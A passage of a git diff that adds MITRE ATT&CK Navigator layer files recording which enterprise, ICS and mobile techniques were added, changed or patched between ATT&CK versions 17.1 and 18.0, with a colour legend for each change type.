"tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1600.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1498.002", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1620", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218.009", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218.010", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1219", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1074.002", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1114.002", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1563", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1021", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1018", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1036.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1091", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1091", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1564.009", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1496", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.005", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.005", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1578.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1036.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1207", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1565.003", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1606.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1134.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1134.005", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1553.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1021.002", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1602.001", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1505.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1021.004", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1098.004", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1098.004", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1563.001", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1562.009", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1596.005", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1595.001", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1029", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1113", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.002", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1597", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1593.002", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1596", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1593", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1594", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1003.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1518.001", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.005", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.005", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1555.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1584.004", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1583.004", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1505", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1569.002", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1499.002", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.010", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.010", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.010", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1548.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1548.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1129", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1213.002", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.009", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.009", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1558.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1593.001", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1585.001", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1586.001", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1205.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1205.002", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1205.002", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1072", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1072", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1518", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1176", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1027.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1036.006", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1566.001", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1598.002", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1598.001", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1566.004", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1566.003", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1608", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1132.001", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1037.005", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1037.005", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1528", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1558", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1001.002", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1027.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1565.001", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1553", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1548.003", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1548.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1573.001", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497.001", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1542.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1542.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1614.001", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1614", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1016", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1049", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1033", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1216", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1569", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1124", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1543.002", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1543.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.006", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.006", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.006", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1542.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1542.005", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1080", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1221", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1505.005", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.003", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.005", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.003", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.003", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1070.006", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1134.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1134.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1020.001", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1205", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1205", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1205", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1537", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1565.002", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1505.002", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.005", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.005", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1484.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1484.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1127", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1199", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.017", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.017", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.004", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.004", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1552", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1535", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1608.002", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1550", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1550", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497.002", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1204", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1564.007", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.014", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.014", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1021.005", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218.012", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1125", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1583.003", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1584.003", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1059.005", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1588.006", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1595.002", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1596.002", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1600", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1606.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1056.003", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1056.003", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1102", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1583.006", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1584.006", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1550.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1550.004", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1505.003", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1059.003", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1555.004", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1222.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1047", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.003", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.003", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1021.006", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1543.003", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1543.003", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.004", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.004", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1595.003", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.013", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.013", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1220", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + } + ], + "sorting": 0, + "hideDisabled": false, + "legendItems": [ + { + "color": "#a1d99b", + "label": "additions: ATT&CK objects which are only present in the new release." + }, + { + "color": "#fcf3a2", + "label": "major_version_changes: ATT&CK objects that have a major version change. (e.g. 1.0 \u2192 2.0)" + }, + { + "color": "#c7c4e0", + "label": "minor_version_changes: ATT&CK objects that have a minor version change. (e.g. 1.0 \u2192 1.1)" + }, + { + "color": "#B5E5CF", + "label": "other_version_changes: ATT&CK objects that have a version change of any other kind. (e.g. 1.0 \u2192 1.2)" + }, + { + "color": "#B99095", + "label": "patches: ATT&CK objects that have been patched while keeping the version the same. (e.g., 1.0 \u2192 1.0 but something like a typo, a URL, or some metadata was fixed)" + }, + { + "color": "#ff9000", + "label": "revocations: ATT&CK objects which are revoked by a different object." + }, + { + "color": "#ff6363", + "label": "deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced." + }, + { + "color": "#ff00e1", + "label": "deletions: ATT&CK objects which are no longer found in the STIX data." + }, + { + "color": "#ffffff", + "label": "unchanged: ATT&CK objects which did not change between the two versions." + } + ], + "showTacticRowBackground": true, + "tacticRowBackground": "#205b8f", + "selectTechniquesAcrossTactics": true +} \ No newline at end of file diff --git a/modules/resources/docs/changelogs/v17.1-v18.0/layer-ics.json b/modules/resources/docs/changelogs/v17.1-v18.0/layer-ics.json new file mode 100644 index 00000000000..133ed85fbf9 --- /dev/null +++ b/modules/resources/docs/changelogs/v17.1-v18.0/layer-ics.json @@ -0,0 +1,69 @@ +{ + "versions": { + "layer": "4.5", + "navigator": "5.0.0", + "attack": "18.0" + }, + "name": "October 2025 ICS Updates", + "description": "ICS updates for the October 2025 release of ATT&CK", + "domain": "ics-attack", + "techniques": [ + { + "techniqueID": "T0852", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T0882", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + } + ], + "sorting": 0, + "hideDisabled": false, + "legendItems": [ + { + "color": "#a1d99b", + "label": "additions: ATT&CK objects which are only present in the new release." + }, + { + "color": "#fcf3a2", + "label": "major_version_changes: ATT&CK objects that have a major version change. (e.g. 1.0 \u2192 2.0)" + }, + { + "color": "#c7c4e0", + "label": "minor_version_changes: ATT&CK objects that have a minor version change. (e.g. 1.0 \u2192 1.1)" + }, + { + "color": "#B5E5CF", + "label": "other_version_changes: ATT&CK objects that have a version change of any other kind. (e.g. 1.0 \u2192 1.2)" + }, + { + "color": "#B99095", + "label": "patches: ATT&CK objects that have been patched while keeping the version the same. (e.g., 1.0 \u2192 1.0 but something like a typo, a URL, or some metadata was fixed)" + }, + { + "color": "#ff9000", + "label": "revocations: ATT&CK objects which are revoked by a different object." + }, + { + "color": "#ff6363", + "label": "deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced." + }, + { + "color": "#ff00e1", + "label": "deletions: ATT&CK objects which are no longer found in the STIX data." + }, + { + "color": "#ffffff", + "label": "unchanged: ATT&CK objects which did not change between the two versions." + } + ], + "showTacticRowBackground": true, + "tacticRowBackground": "#205b8f", + "selectTechniquesAcrossTactics": true +} \ No newline at end of file diff --git a/modules/resources/docs/changelogs/v17.1-v18.0/layer-mobile.json b/modules/resources/docs/changelogs/v17.1-v18.0/layer-mobile.json new file mode 100644 index 00000000000..414f0acb655 --- /dev/null +++ b/modules/resources/docs/changelogs/v17.1-v18.0/layer-mobile.json @@ -0,0 +1,965 @@ +{ + "versions": { + "layer": "4.5", + "navigator": "5.0.0", + "attack": "18.0" + }, + "name": "October 2025 Mobile Updates", + "description": "Mobile updates for the October 2025 release of ATT&CK", + "domain": "mobile-attack", + "techniques": [ + { + "techniqueID": "T1636.005", + "tactic": "collection", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1676", + "tactic": "collection", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1676", + "tactic": "persistence", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1453", + "tactic": "collection", + "enabled": true, + "color": "#fcf3a2", + "comment": "major_version_change" + }, + { + "techniqueID": "T1453", + "tactic": "credential-access", + "enabled": true, + "color": "#fcf3a2", + "comment": "major_version_change" + }, + { + "techniqueID": "T1464", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1660", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1626", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1517", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1517", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1640", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1638", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1437", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1532", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1521.002", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1429", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1481.002", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1398", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1624.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1636.001", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1616", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": 